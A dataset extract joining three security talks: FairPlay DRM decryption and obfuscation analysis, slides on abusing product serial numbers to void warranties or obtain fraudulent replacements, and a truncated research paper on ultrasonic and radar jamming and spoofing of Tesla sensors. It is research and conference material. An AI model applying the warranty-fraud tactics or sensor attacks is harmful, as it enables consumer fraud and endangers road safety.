text
stringlengths
100
9.93M
category
stringclasses
11 values
FAIRPLAY DRM和混淆实现 0 1 DRM Fairplay - DRM 0 1 介绍 数字版权保护 应用于电子书籍/音乐/视频 App DRM自2013年引入 私有代码,高度混淆 Fairplay - DRM 0 1 Load Command $ otool -l target | grep -i crypt cmd LC_ENCRYPTION_INFO_64 cryptoff 16384 cryptsize 4177920 cryptid 1 Fairplay - DRM 0 1 Fairplay Open - From Kernel Fairplay - DRM 0 1 Fairplay Open - MIG #include <mach/std_types.defs> #include <mach/mach_types.defs> subsystem KernelUser unfreed 502; type unk1_t = struct[136] of char; type unk2_t = struct[84] of char; routine fairplay_open( fairplay_port : mach_port_t; executable_path : pointer_t; cpu_type : uint32_t; cpu_subtype : uint32_t; out supf : pointer_t; out unk_ool2 : pointer_t; out unk1 : unk1_t; out unk2 : unk2_t; out supf_size : uint32_t; out ool2_size : uint32_t; out ukn3 : uint32_t); FairplayIOKit fairplayd Fairplay - DRM 0 1 Fairplay Open - fairplayd $ tree . ├── SC_Info │ ├── target.sinf │ └── target.supf └── target Fairplay - DRM 0 1 Fairplay Open - SINF $ sinf_view.py SC_Info/target.sinf sinf.frma: game sinf.schm: itun sinf.schi.user: 0xdeadbeef sinf.schi.key : 0x00000002 sinf.schi.iviv: <***16 bytes IV***> sinf.schi.righ.veID: 0x00012345 sinf.schi.righ.plat: 0x00000000 sinf.schi.righ.aver: 0x11223344 sinf.schi.righ.tran: 0x11223344 sinf.schi.righ.sing: 0x00000000 sinf.schi.righ.song: 0x11223344 sinf.schi.righ.tool: P550 sinf.schi.righ.medi: 0x00000080 sinf.schi.righ.mode: 0x00000000 sinf.schi.righ.hi32: 0x00000002 sinf.schi.name:<***null terminated username, 256 bytes***> sinf.schi.priv: <***432 bytes encrypted data***> sinf.sign: <***128 bytes signature***> Fairplay - DRM 0 1 Fairplay Open - SUPF $ supf_view.py SC_Info/target.supf KeyPair Segments: Segment 0x0: arm_v7, Keys: 0x3d0/4k, sha1sum = <code_sig> Segment 0x1: arm64, Keys: 0x3fc/4k, sha1sum = <code_sig> Fairplay Certificate: <RSA 1024 Ceritificate, valid since 2008, expire at 2013> RSA Signature: <128 bytes> Fairplay - DRM 0 1 Fairplay Open - QA时间 1. 使用了不安全的RSA密钥长度, 没有校验RSA证书的有效期 3. SINF中明文存储了用户身份标识信息(但是沙盒内无法读取) 4. 可以通过调用MIG + Hook来稳定获取Fairplayd运行中间过程 5. 可通过回归测试确定最终和DRM相关/无关的字段 6. SINF文件中sinf.sign字段不校验(仅在安装时通过installd校验) Fairplay - DRM 0 1 Fairplay Decrypt - Kernel Fairplay - DRM 0 1 Fairplay Decrypt - 一些细节 1. Fairplay 以page为单位解密,尺寸是4096 bytes 2. aes-128-cbc解密,密钥通过Fairplay Open的结果计算得出 3. 至少解密过程中没有涉及到HW AES(S8000) Fairplay - DRM 0 1 Fairplay Decrypt - Demo 0 1 混淆 Fairplay – 混淆 0 1 编译优化 vs makeOpaque 编译优化:Constant Folding, Common Subexpression Elimination, Dead Code Elimination.... makeOpaque: 绕过编译优化 Expression* makeOpaque(Expression* in) Fairplay – 混淆 0 1 makeOpaque: 不透明谓词 makeOpaque(true) => uint32_t x = random(); ( (x * x % 4) == 0 || (x * x % 4) ==1) Fairplay – 混淆 0 1 makeOpaque: 不透明谓词之 BogusCFG if(makeOpaque(true)){ real_block(); }else{ fake_block(); } Fairplay – 混淆 0 1 makeOpaque: 不透明常量之可逆变换 //对于互为模反元素的a: 4872655123和ra: 3980501275, 取 uint32_t x = random(); uint32_t c = 0xbeefbeef; //则 -ra * c = 0x57f38dcb, 满足 ((x * 4872655123) + 0xbeefbeef ) * 3980501275 + 0x57f38dcb == x Fairplay – 混淆 0 1 makeOpaque:不透明常量之MBA表达 式 //OperationSet(+, - , * , & , | , ~) makeOpauqe(x – c) => (x ^ ~c) + ( (2 * x) & ~(2 * c + 1) ) + 1; Fairplay – 混淆 0 1 makeOpaque:不透明常量应用- IndirectBranch //OperationSet(+, - , * , & , | , ~) jmp branch; => jmp global_branch_lut[index]; => jmp global_branch_lut[makeOpauqe(index)]; Fairplay – 混淆 0 1 静态恢复实战 – Call Graph 恢复 Indirect Branch + Call Convention混 淆的同时对参数进行了混淆(父 函数加密,子函数解密,利用 LLVM不进行Inter-procedure分析的 特性) Fairplay – 混淆 0 1 静态恢复实战 – Call Graph 恢复 参数混淆恰巧在父子 函数中引入相同随机 数,让我们得以根据 这一特性恢复出调用 关系 Fairplay – 混淆 0 1 静态恢复实战 – 尝试恢复CFG 1. 使用了Indirect Branch混淆机制 2. 同一个函数的每个基本快具有相 同的PAC Modifier 3. 全局跳转表中DYLD Chained Fixup 中含有Modifier信息 4. 但基本快之前目前仍然是孤立的, 需要动态恢复 Fairplay – 混淆 0 1 静态恢复实战 – 尝试恢复CFG 1. 使用了Indirect Branch混淆机制 2. 同一个函数的每个基本快具有相 同的PAC Modifier 3. 全局跳转表中DYLD Chained Fixup 中含有Modifier信息 4. 但基本快之前目前仍然是孤立的, 需要动态恢复 Fairplay – 混淆 0 1 静态恢复实战 – 其他未解决的 1. 基于不透明常量的数据流混淆, 目前 未找到其生成规则 Fairplay – 混淆 0 1 动态调试工具-穷人的”内核驱动”调试器 1. 把FairplayIOKit内核驱动加载到用户态 2. 通过dyld的机制通知调试器新加载的内 核扩展 3. 开始调试 Fairplay – 混淆 0 1 动态调试工具-执行流跟踪 可以记录自己的执行路径(trapfuzz类似) 可以记录很多次非直接跳转的结果(trapfuzz不 支持) 不能single-step自身 从DTrace中获取灵感: exception-emulation- recover Fairplay – 混淆 0 1 动态调试工具-Demo Fairplay – 混淆 0 1 动态调试工具-更多可能 WIP 反射式macho注入 WIP 无源代码的macho二进制Profiler工具 Update @ https://github.com/pwn0rz/fairplay_research M A N O E U V R E 感谢观看! KCon 汇聚黑客的智慧
pdf
Not-so-Limited Warranty: Target Attacks on warranties for fun and profit  High school Student  Senior in fall  Warranty Enthusiast  Reading long paragraphs is fun  Programmer for Cyberdyne Security Solutions  New startup – cyberdynesecuritysolutions.com  Email me: [email protected] • Any number used to identify a product • Can be for recall uses or warranty support • Types of serial number • Identifying – contains information such as year of production • Random – random values with no meaning • Sequential – Used mainly in food (123,124,125,etc.) • Usually located on the product • Sometimes accessible via software • Proof of ownership • I can now cancel your warranty – “I don’t agree to the terms of the warranty” • Information Disclosure • Apple Information (See C# code) • Date of Purchase – “Where were you on day X?” • Report Stolen – Bye bye warranty • The Internet • Google Images is your friend • Calling people on craigslist • Emailing people on eBay • Stores • Flip over demo models • Guessing • Sequential serials are terrible • Owning the product  Makes up “Managers” and “Replacement departments” • “Let me just check with my head of imaginary replacements”  Hangs up on you • “Let me just check with my manager” <Click>  Treats you like a criminal • “You broke the product not a defect!” Technology impaired user “It just wont turn on” “No I don’t know how to reformat it” Angry guy “No its not my fault its yours!” “Let me speak to your manager!” Business Owner “I'm losing money every day!” “We need to get those reports done!” Ranked on: Protection (higher score is better) Obnoxiousness (lower is better) Countermeasures used: • Not really designed to protect against attacks • This is a good thing • Batch Code (sequential) • Good for recalls, not good for protection Low protection per product. Protection 2/10 Obnoxious Rating 1/10 Countermeasures used: • Serial Number • As many attempts as you want • Bulk checker (see C# code) • Regional Locks • Online warranty status displays what country Good protection per product. Protection 4/10 Obnoxious Rating 4/10 Countermeasures used: • Serial Number (non sequential) • As many attempts as you want • Gives you a month of Amazon prime when you are correct (Free bonus for doing bad things?) • Credit card on hold • Only $2 initially charged Over the top protection per product. Protection 7/10 Obnoxious Rating 5/10 Countermeasures used: • Serial Number (non sequential) • Easy to generate (see C# Code) • Asks for ICCID or IEMI • See C# Code for our solution • Credit card on hold • Full amount Initially Charged Insane protection per product . Protection 9/10 Obnoxious Rating 10/10 • No unlimited invalid serials • Nobody is going to misread their serial 200 times • Register Serial to account • Amazon has the right idea here • Non Intrusive replacement • Amazon does this and it works perfectly • No serials on demo models  Special thanks to: Cyberdyne security solutions Jared “Revelation” M. Niko “Lulzpid” R.  Images: www.tcwfanzine.files.wordpress.com/2010/10/angry-man1.gif www.calcocommercialinsurance.com/images/illos/products/business_owners.jpg km.support.apple.com/library/APPLE/APPLECARE_ALLGEOS/HT4061/HT4061_06-ipad-agency_mark-001-en.png 4.bp.blogspot.com/_LgF7ePXTRlA/TTXd1ntyXnI/AAAAAAAAAEo/udQAjNr4gNs/s1600/Apple-Logo.gif static.unplugged.rcrwireless.com/wp-content/uploads/2011/03/Amazon-logo.jpg semiaccurate.com/assets/uploads/2011/07/Lenovo-logo.jpg http://www.logostage.com/logos/pringles.png
pdf
Can You Trust Autonomous Vehicles: Contactless Attacks against Sensors of Self-driving Vehicle Chen Yan Zhejiang University [email protected] Wenyuan Xu Zhejiang University & University of South Carolina [email protected] Jianhao Liu Qihoo 360 [email protected] ABSTRACT To improve road safety and driving experiences, autonomous vehicles have emerged recently, and they can sense their sur- roundings and navigate without human intervention. Al- though promising and proving safety features, the trustwor- thiness of these cars has to be examined before they can be widely adopted on the road. Unlike traditional network security, autonomous vehicles rely heavily on their sensory ability of their surroundings to make driving decision, which incurs a security risk from sensors. Thus, in this paper we examine the security of the sensors of autonomous vehicles, and investigate the trustworthiness of the ‘eyes’ of the cars. Our work investigates sensors whose measurements are used to guide driving, i.e., millimeter-wave radars, ultra- sonic sensors, forward-looking cameras. In particular, we present contactless attacks on these sensors and show our results collected both in the lab and outdoors on a Tesla Model S automobile. We show that using o↵-the-shelf hard- ware, we are able to perform jamming and spoofing attacks, which caused the Tesla’s blindness and malfunction, all of which could potentially lead to crashes and impair the safety of self-driving cars. To alleviate the issues, we propose soft- ware and hardware countermeasures that will improve sen- sor resilience against these attacks. Keywords Autonomous vehicles; security; ultrasonic sensors; millimeter- wave radars; cameras 1. INTRODUCTION Improving road safety, driving experiences, and driving efficiency has long been a focus of the automotive indus- try, and already we have witnessed the rapid development of ADAS (Advanced Driver Assistance Systems), which can sense its driving environment and warn drivers of immediate dangers. With the advances in sensing technology and infor- mation fusion, vehicles are going forward into a new era — fully autonomous vehicles. Numerous major companies and ACM ISBN 978-1-4503-2138-9. DOI: 10.1145/1235 research organizations have developed their prototype au- tonomous cars. For instance, Tesla Motors has popularized driverless technology with its Autopilot system. The safety of autonomous cars has been a focus of the prolonged debate over this technology. Comparing to tradi- tional ones, autonomous vehicles requires almost no human inputs for driving control, therefore safety relies purely on the on-board computing systems, which in turn depend on sensors and their measurements of the surroundings to make driving decisions. Being the ‘eyes’ of on-board computing systems, sensors play an important role in autonomous ve- hicle safety, and their accuracy and immediacy have to be guaranteed to achieve safe autonomous driving. The industry has been working on improving the accuracy and robustness of sensors. Yet the recent accident of a Tesla Model S car crashing into a white truck and causing one death using its on-board Autopilot system [26] shows that existing sensors cannot reliably detect neighboring cars even in normal yet special road conditions, not to mention inten- tional attacks against these sensors. In light of the fact that the security issues of sensors have not earned their due at- tention, we investigate attacks that utilizing the underlying principles of sensors to blind or deceive them, e.g. utilizing how to detect barriers leveraging lights, sounds, and radio waves. This type of attacks against sensors can lead to mal- functions, falsified readings, or even physical damage, and the consequences could be fatal both to one car and to a collection of cars nearby, i.e., in a Vehicle to Vehicle (V2V) network. Understanding the attack methods, its feasibility, its in- fluences on sensor readings, on-board computer systems and autonomous car behaviors will provide insights for improv- ing the safety of self-driving automobiles. In this work, we performed an empirical security study on the sensors of au- tonomous cars. Specifically, we studied and examined three types of essential automotive sensors that are widely used for autonomous driving, i.e., ultrasonic sensors, Millimeter Wave Radars, and cameras. We have carried out several attacks against them, and proved the destructive impact of attacks on the sensor data, as well as on the automated driving systems by experiments on a Tesla Model S sedan. Contributions. We summarize our contributions as fol- lows: • We raise the security risks and concerns of sensors used for Automated Driving and Advanced Driver Assis- tance Systems. • To the best of our knowledge, we are the first to ex- perimentally examine the feasibility of launching con- tactless attacks on automotive ultrasonic sensors and MMW Radars. Our experiments in the laboratory and outdoors on vehicles have demonstrated the conse- quences of jamming and spoofing attacks by exploiting the underlying sensing principles. • We have verified the attacks on a Tesla Model S with Autopilot systems, and demonstrated the impact of these attacks on automated driving system. Roadmap. The rest of this paper is organized as follows. Background and related work on vehicle security are given in Section 2. We introduce automated driving system and rele- vant sensors in Section 3, and list the threat model and steps of study in Section 4. The details of attacks on ultrasonic sensors, MMW Radars, and cameras are given respectively in Section 5, 6, and 7, respectively. In Section 8 we dis- cuss the attack feasibility and countermeasures, as well as limitations and future work. Section 9 concludes the paper. 2. BACKGROUND AND RELATED WORK The security of automotive systems has been studied for more than a decade. The security risk stems from the struc- ture of automotive system, i.e., the interconnection of com- munication buses and Electronic Control Units (ECUs). To- day, the infrastructure of modern vehicles is designed in such a way that all components are networked with each other by the CAN-bus, and they can exchange data as well as con- trol commands via the bus. This structure guarantees the functionality and efficiency of modern vehicles, but poses a serious threat in addition to potential insecure compo- nents [32][33]. For example, security breach on one ECU (especially those with external connections, e.g., telematics) could possibly lead to the exploitation of other safety-critical ECUs through the unprotected bus network (e.g., CAN bus) and endangers the whole vehicle. Several studies [12][28] have shown the feasibility of launch- ing CAN bus attacks (mainly through OBD-II port) which can cause malfunction and even take control of the car. It has been demonstrated that an attacker who is able to in- filtrate virtually any ECUs can leverage this ability to com- pletely circumvent a broad array of safety-critical systems, such as falsifying the control panel displays, disabling the brakes, killing the engine, and rolling the steering wheel. In addition, it has been shown that the attacks can be launched without any physical access to the car. Checkoway et al. [3] analyzed the external attack surfaces of a modern automobile, and discovered that remote exploitation is feasi- ble via a broad range of attack vectors (including mechanics tools, CD players, Bluetooth and cellular radio), and further, that wireless communications channels allow long distance vehicle control, location tracking, in-cabin audio exfiltration and theft. Miller and Valasek, after their survey [15] of 21 popular car models, performed a remote attack against un unaltered Jeep Cherokee that resulted in physical control of part of the vehicle [16]. Previous researches on vehicle security mostly focused on the internal network and Electronic Control Units (e.g., telem- atics and immobilizer). However, few attention has been paid to sensors. Existing attacks depend mainly on vul- nerable information interfaces, while the sensory (physical) channels have not attracted their due attention and shall be exploited thoroughly. Petit et al. has recently raised people’s attention to sen- sors by his study on LiDAR and cameras [19]. Their work focused on remote attacks on camera-based system and Li- DAR using commodity hardware, which achieved e↵ective blinding, jamming, replay, relay, and spoofing attacks. In our research, we focus on the security of popular vehic- ular sensors that have already been widely used in Advanced Driver Assistance System (ADAS) and self-driving cars. We will show experiment results that were conducted both in laboratories and on popular cars, including models of Tesla, Audi, Volkswagen, and Ford. 3. SYSTEM OVERVIEW In this section we give a brief introduction to the Au- tomated Driving System and Advanced Driver Assistance System, as well as the sensor technologies, and discuss the motivation to examine ultrasonic sensors, MMW Radars, and cameras. 3.1 Automated Driving System Autonomous vehicles, saved for later. 3.2 Sensor Overview Before discussing the detailed principles underlying these sensors, we overview their features and compare their di↵er- ence. Sensor categories. Ultrasonic sensors, MMW radars, cameras, and LiDAR are indispensable sensors on current self-driving vehicles. Each is designed for its dedicated sens- ing range. Nevertheless, they, in combination, can detect obstacles in a wide range. They can be roughly divided into proximity, close-range, middle-range, and long-range, as shown in Figure 1. Figure 1: Major ADAS sensor types and typical ve- hicle positions [24]. 1. Proximity ( 5m). Ultrasonic sensors are proximity sen- sors that aim at detecting barriers within several me- ters from the car body. They are mainly designed for low speed scenarios, e.g., parking assistance. 2. Short Range ( 30m). Forward-looking cameras are used for lane departure warning, Traffic sign recogni- tion, and backward cameras are for parking assistance. Short-range radars (SRR) serve for blind spot detec- tion and cross traffic alert. 3. Medium Range (80 − 160m). LiDAR and Medium- range radars (MRR) assists collision avoidance and pedestrian detection. 4. Long Range (250m). Long-range radars (LRR) are designed for Adaptive Cruise Control (ACC) at high speeds. Because the physical principles underlying these technolo- gies varies, their operation ranges are di↵erent as well. We emphasize the major di↵erences of these technologies below. Physical principle. On-board vehicle sensors for detect- ing barriers and road condition utilize three types of waves. Both LiDAR and cameras rely on lights (i.e., infrared and visible light) to recognize objects. In comparison, ultrasonic sensors detect obstacles by transmitting and receiving ul- trasound, which is one type of mechanical waves with their frequency beyond human hearing ranges. MMW radars rely on millimeter waves, a band of electromagnetic wave whose frequency is much lower than light yet much higher than well-known radio frequency range (e.g., 2.4 GHz). Because each type of sensors rely on a distinct underlying principle, various methods and equipment have to be utilized to attack each type of sensors. Cost. Costs of manufacturing sensors determine their market shares. The costs from low to high are the ones of ultrasonic sensors, cameras, radar, and LiDAR. Because of the low cost, ultrasonic sensors have been widely deployed on modern vehicles for parking assistance systems, but other sensors are reserved for high-end features. Cost-performance trade-o↵ is perhaps the reason that car manufacturers (e.g., Tesla) abandon LiDAR [8], but self-driving prototype de- velopers (e.g., Google [7] and Stanford [25]) tend to utilize every possible sensor. Since not all manufacturers utilize LiDAR, we examine the other three types of sensors that have been widely ap- plied on existing vehicles for driver assistance system, with a focus on ultrasonic sensors and MMW radars in this work. The security vulnerabilities of automotive ultrasonic sensors and MMW radars have never been discussed before. We be- lieve that our work is complementary to Petit’s work, and together we provide a better picture of the sensor issues in self-driving vehicles. Apart from in-lab studies on stand- alone sensors, we carries out outdoor experiments on vehi- cles in this work. Note that Tesla model S cars employ all three sensors in the ‘Autopilot’ systems and thus most of our work involves testing on a Tesla model S vehicle. 4. ATTACK OVERVIEW This section gives an overview on our attacks. In the threat model we propose the assumptions and requirements of an attacker. In the attack model we introduce our basic ideas and research steps. 4.1 Threat Model Knowledge Threshold. We assume that the attacker may not have prior knowledge of the sensing mechanism, and need to learn or consult professionals. In the extreme case that the attacker being a sensor expert himself, he may be well-aware of the vulnerabilities or proficient with the attack skills, but he still need to overcome the knowledge threshold of other sensors. We further assume he is medium financed and qualified for independent or collaborative research. Equipment Awareness. We can assume that an at- tacker has access to the targeted sensors or similar ones for prior study, considering that sensors of the same kind but from di↵erent vendors can exhibit distinctive patterns in the physical channel. The attacker may be proficient with hard- ware design, or can exploit o↵-the-shelf hardware to fulfil his attack purposes. We don’t think he has access to expensive equipments or well-funded research facilities. Attacker Position. The attacker has to be outside the car in order for the attacks to be executed and remain stealthy. Limitations. No physical alteration or damage is allowed or can be made to the targeted vehicle with the purpose of dampening the performance, i.e., the vehicle and sensors have to remain unaltered. Attack Outcome. With dedicated research e↵ort and at least the above mentioned qualities, we think an attacker can cause malfunction of low-priority close-range sensors, and cause collisions in maneuvering. He may have a chance in disturbing safety-critical sensors, but the attack is likely impractical when the vehicle is fast moving. 4.2 Attack Model Three very di↵erent kinds of sensors are under the scope of our attacks, therefore their approaches also exhibit great diversity. Before presenting the specifics, there are some common points they share that we would like to stress. 4.2.1 Sensor Attacks The most significant distinction between sensor attacks and cyber attacks is the use of physical channels. Sensor attacks utilize the same physical channels as the targeted sensor in most cases, which can disrupt or manipulate the sensor readings. Since sensors are categorized as the lower layers of a control system and are normally trusted, falsified readings could lead to unexpected consequences of a system. A recent example would be the acoustic attack against the gyroscopic sensors on a drone [23]. Comparing with cyber attacks, sensor attacks have the disadvantages of close attack range, extra hardware require- ment, long exploitation cycle, and high knowledge threshold. Given the fact that di↵erent sensors may depend on com- pletely di↵erent physical principles, very di↵erent methods must be used against them, which means low transplantabil- ity. In this work, we use ultrasound against ultrasonic sen- sors, radio against MMW radars and laser against cameras. Noticeably, ultrasound, radio, and laser all promise no phys- ical contact with the targeted sensors, thus make our attacks contactless. 4.2.2 Basic Idea Our basic idea for examining the security of all three sen- sors is to analyze their following abilities by injecting noise and crafted signals, i.e., jamming and spoofing attacks in their physical channels. I. Resistance to noise (Jamming Attack) The sensors are designed to resist environmental noise, which exists in normal working conditions. For example, there may occur acoustical interference from other objects near the vehicle, in particular the noise of compressed air (e.g., truck brakes) and metallic friction noise from track ve- hicles [21]. However, their ability to resist intentional noise or loud noise has not been published. The injected noise will very likely lower the Signal to Noise Ratio (SNR) and make the detection impossible. II. Resistance to malicious physical channel injec- tion (Spoofing Attack) Receiving genuine physical signals from the wrong source can happen when sensors are wrongly positioned, e.g., facing each other. By analogy, if malicious injected signals are made to emulate physical patterns of the real ones, it is possible for them to be taken as real measurements, so as to disrupt sensor readings. If the crafted signal can be further controlled, the readings could possibly be manipulated. 4.2.3 Research Steps To examine the security of vehicular sensors, we basically went through the following steps. 1. Taking stand-alone sensors for laboratory experiments. 2. Studying the sensors by any means. 3. Performing jamming and spoofing attacks. 4. Testing the attacks on vehicles. 5. Testing the attacks on automated driving system. 6. Improving and looking for new attack methods. Potential attack surfaces including sensors in autonomous automated vehicle has been discussed in [19], but most of them have not been examined or validated by experiments or on vehicles. In the coming sections, experimental attacks on ultrasonic sensors, MMW radars, and forward-facing cam- eras are illustrated and discussed in details. 5. ATTACKING ULTRASONIC SENSORS Ultrasonic-based parking assistance system was first in- troduced in the European market in the early 1990s. This system monitors the front and rear of the vehicle, and warn the driver if there are obstacles in the vicinity of the vehicle that can cause collisions. Power functionalities like semiau- tomatic parking assistance, fully automatic parking, parking space detection, and Tesla’s new summon feature (parking with driver outside the vehicle) [27] have been realized based on the same sensor technology. Ultrasonic sensors can help to have an eye on the invisible parking space and to park the vehicle easily, quickly, and safely [11]. Besides automotive application, ultrasonic sensors are also used in many other fields since long, such as in military for submarines, in medicine for diagnostics, in materials for test- ing, and in industry and robot technology for distance mea- surement [2][13][29]. We believe studies on the security of ultrasonic sensors can shed light rather than on automotive itself. In this section, fundamentals of ultrasonic sensors are to be first introduced as the background of our attack, then we present our attack methods and results acquired in the lab and outdoors. By making a DIY ultrasonic jammer with a low-cost Arduino, we managed to launch jamming and spoofing attacks on ultrasonic sensors, and tested on sev- eral popular car models, including a Tesla Model S. We will demonstrate the following: • Jamming attack can make objects undetectable so as to cause collisions, or force the car to stop while performing self-parking. Figure 2: Appearance and cross-section of an ultra- sonic sensor from Bosch. • Spoofing attack can manipulate the sensor readings, and lead to the display of pseudo-obstacles. • Acoustic cancellation is possible, but dedicated hard- ware and algorithms are required. 5.1 System Model The distance measurements using ultrasonic sensors ac- cording to the pulse/echo principle are very straightforward from the technical viewpoint because of the comparably low speed of sound. Ultrasonic sensors detect objects by emit- ting ultrasonic pulses, and measure the time taken for the echo pulses to be reflected back from obstacles. The dis- tance to the nearest obstacle is calculated from the propa- gation time (time-of-flight, TOF) of the first echo pulse to be received back according to the equation d = 0.5 · te · c (1) with te: propagation time of ultrasonic echoes, c: velocity of sound in air (approximately 340 m/s). A method called trilateration is further used to calculate the real distance to the vehicle from the direct readings of neighboring sensors. Components. The sensor consists of a plastic housing with integrated plug-in connection, an ultrasonic transducer, and a printed circuit board with the electronic circuitry to transmit, receive, and evaluate the signals, see Figure 2. Piezoelectric E↵ect. The acoustic part of an ultrasonic sensor is the transducer. Same as transducers in the hearing range (better known as microphones and speakers), ultra- sonic transducers are build on the piezoelectric e↵ect [17]. The piezoelectric e↵ect describes the electromechanical con- text between the electric and the mechanic status of a crys- tal. If a voltage is applied at the electrodes on two sides of a piezoelectric crystal, a mechanical deformation results and generates acoustic wave. Vice versa, an incoming acoustic wave creates oscillations of the crystal. As a consequence, an alternating voltage is generated at the electrodes which can be amplified and further processed. Mechanisms. When the sensor receives a digital trans- mit signal from the ECU, the circuit excites the membrane with square waves (approx. 300 µs) at its resonance fre- quency (40 – 50 kHz), so it vibrates and emits ultrasound. No reception is possible during the time taken for it to stop oscillating (approx. 700 µs), which is also known as the ring- down problem. Once rested, the membrane can be made to vibrate again by the echo reflected back from the obstacles. These vibrations are converted by the piezoelectric crystal to an analog signal, which is then amplified, filtered, digi- tized, and compared to a threshold to determine the echo’s arrival. The time-of-flight diagram is finally transmitted to the ECU for further distance calculation. Frequency. For ultrasonic transducers in automotive parking aid systems, an operating frequency between 40 and 50 kHz is commonly used. This has been proved as the best compromise between good acoustical performance (sensitiv- ity and range) and high robustness against noise from the surrounding of the transducer. Higher frequencies lead to lower echo amplitudes because of higher dampening of the airborne sound, whereas for lower frequencies the proportion of interfering sound in the vehicle environment is always in- creasing [18]. Based on the above knowledge, we design an attack sys- tem which can generate ultrasound in the same frequencies as automotive sensors, and can craft ultrasound pulses to emulate sensors’ working patterns. We then launch jam- ming and spoofing attacks in observation of sensor reactions and vehicular system reactions. 5.2 Jamming Attack Jamming attack aims to generate ultrasonic noises and cause continuing vibration of the membrane on the sensor, which make the measurements impossible. Failing to detect obstacles can lead to collisions in parking or maneuvering. 5.2.1 Inherent Vulnerabilities Ultrasonic sensors are known to have weakened perfor- mance in two scenarios [18]. On the one hand strong extra- neous acoustic emitters in the region of ultrasonic working frequency in the immediate vicinity of a vehicle can lower the signal-to-noise ratio such that measurements are no longer possible. In practice, noise sources are above all compressed air noises (e.g., air brakes in trucks) and metallic grating noises, (e.g., from railed vehicles). On the other hand, any layers of dirt, snow, or ice on the sensor diaphragms can form a sound bridge with the bumper that can prolong the decay behavior of transmission excitation in an undefined manner. These inherent vulnerabilities indicate the feasibility of performing physical attacks on ultrasonic sensors. To simu- late the extraneous noise source, ultrasonic transducers will be a good choice that can exhibit higher sound pressure level and better frequency performance as well as controllability than truck air brakes or metal key chains. On the other hand, specially made sound absorbing masks can be adhered to the surface to prevent transmission, but it is against our threat model by physical alteration and contact. 5.2.2 Description Jamming attack is built on a very straightforward idea — continuously emitting ultrasound at the sensor to lower its Signal to Noise Ratio (SNR), as shown in Figure 5. Our major considerations are listed as follows. Resonant Frequency. Ultrasonic sensors for parking assistance generally operate on frequencies between 40 kHz and 50 kHz. From our observation on several car models, this frequency appears to be near 50 kHz. Ultrasonic trans- ducers are manufactured with a fixed resonant frequency which is determined by the diameter of the piezoceramics. Within several kHz around the resonant frequency like a bandpass filter, the transducer exhibits the best emittance Figure 3: Setup of ultrasound experiment on Tesla Model S. A is the jammer, B is 3 ultrasonic sensors on the left side. and sensitivity. Thus it would be best to choose jamming transducers in the same frequency band as of the sensors, which in our case is 50 kHz. Unfortunately 50 kHz trans- ducers were not available on the market, so we used the popular 40 kHz transducers, which turned out to have pass- able performance. Emitting Ultrasound. Piezoelectric e↵ect describes the generation of acoustic wave by applying alternating voltage. Moreover, the frequency of the AC signal determines the oscillation frequency, and hence the frequency of generated acoustic wave. By applying 40 kHz square wave to the trans- ducer, we are able to generate ultrasound of 40 kHz. This principle works for other frequencies with compatible hard- ware, as well as for microphones and speakers. Equipment. To generate controllable square wave of 40 kHz, we find Arduino Uno board [1] competent as a low- cost, o↵-the-shelf hardware. It can output square wave of specified frequency on the digital I/O pins with a built-in function called Tone(), which is mainly used for generating tones on speakers. There is observable frequency jitter at 40 kHz and higher, though the jamming performance does not seem to be a↵ected. To achieve accurate frequencies for phase-sensitive attacks like acoustic cancellation, dedicated hardware is recommended. Voltage Level. Sound pressure level relies on the volt- age level in piezoelectric e↵ect, and vice versa. To acquire farther attack distance, higher voltage has to be applied in order for acceptable sound pressure level at the targeted sen- sor after airborne attenuation. Arduino outputs at 5 volts, which works well within a very limited range. In some cases, we used a function generator to achieve higher frequency precision and voltage level. One can consider designing his own piece of equipment to fulfil such attacks. 5.2.3 Results We have tested jamming attack on many ultrasonic sen- sors indoors and outdoors on real cars with parking assis- tance. We further tested on Tesla Model S’s self parking and summon function. All the experiments are carried out with the setup that an obstacle always exists and can be detected by the sensor when no attacks are going. On Ultrasonic Sensors. We have tested on 8 di↵erent ultrasonic sensors/systems in the laboratory. Six of them (a) Normal. (b) Spoofed. (c) Jammed. Figure 4: Tesla parking distance display at normal, being spoofed, and being jammed2. are individual ultrasonic ranging modules, one of them is an aftermarket vehicular sensor, and the other is an OEM park- ing assistance system consisting of one ECU unit and four sensors. We have observed two very opposite kinds of sensor output under jamming attacks, one is ZERO distance, while the other is MAXIMUM distance. Zero distance means the detection of something very close that nearly touches; max- imum distance indicates the detection of nothing. We think the opposite results are due to di↵erent sensor designs. For the first kind, a fixed threshold is set for the detection of returning echoes. Our jamming signal always exceeds the threshold, and will be falsely recognised as an returning echo as soon as receiving mode is made possible, so the readings under jamming will be zero. Another kind of design im- plements flexible threshold to eliminate noise. Our jamming signal is recognised as noise because it exists throughout the whole cycle, and hence lowers the SNR. No measurements are possible, so the readings will be maximum consequently. On Cars with Parking Assistance. Four cars with driver assistance system have been tested. They are popular models from Audi, Volkswagen, Tesla, and Ford. Systems on these cars di↵er with each other, but they all inform the driver about obstacles by either acoustic or visual distance information. As shown in Figure 3, the ultrasonic jammer is placed in front of the bumper, and can be correctly detected when idle. When jamming attack is launched, the obstacle can no longer be detected by the vehicle, therefore no alarm is given to the driver (Figure 4(c)). This can be considered as the maximum distance case in above sensor test, and the reasons similar. We further tested when the cars are moving in reverse gear, and results are the same. Jammer-sensor distance for e↵ective attack have been measured to be as long as 10 meters for Tesla. Failing to detect obstacles can lead to collisions, the consequence of which could be vital when pedestrians are hit. On Tesla Model S with Automatic Parking. We fur- ther tested on the self parking and summon feature of Tesla Model S. If jamming attack can also cause false negative to automatic parking system, the aftermath will be worse in this case without human supervision. To our surprise, Tesla seems to have switched to another algorithm for handling sensor readings at automatic parking, and it would stop at once as soon as we launched jamming. Neglect of obstacles are only possible when the jammer are aimed at the sen- sor deliberately, and the jammer-sensor distance is greatly reduced. 2This is a strange display of tire pressure. It pops out every time we do ultrasonic jamming, and disappears once we stop. Anyway, NO distance information can be displayed during jamming. Figure 5: Illustration of all ultrasonic attacks. From up to down are original signal, spoofing signal, jam- ming signal, and acoustic cancellation signal. The last 3 attack signals overlay with the original signal at the sensor side. 5.3 Spoofing Attack Spoofing attack shares the same physical channel and hard- ware with jamming attack, but it is more carefully crafted with the purpose of deceiving the sensors. This attack can lead to disturbance or manipulation of the sensor readings, which will lead to more controllable collisions, or just fool the driver/autonomous car. 5.3.1 Description Spoofing attack is based on the assumption that if care- fully crafted ultrasound pulses from adversaries can be rec- ognized as echoes from obstacles, and arrive at the sensor ahead of the real ones, then the sensor readings will devi- ate from the real one. By adjusting the timing of carefully crafted pulses, an attacker can manipulate sensor readings, i.e., distance measurement. An illustration is 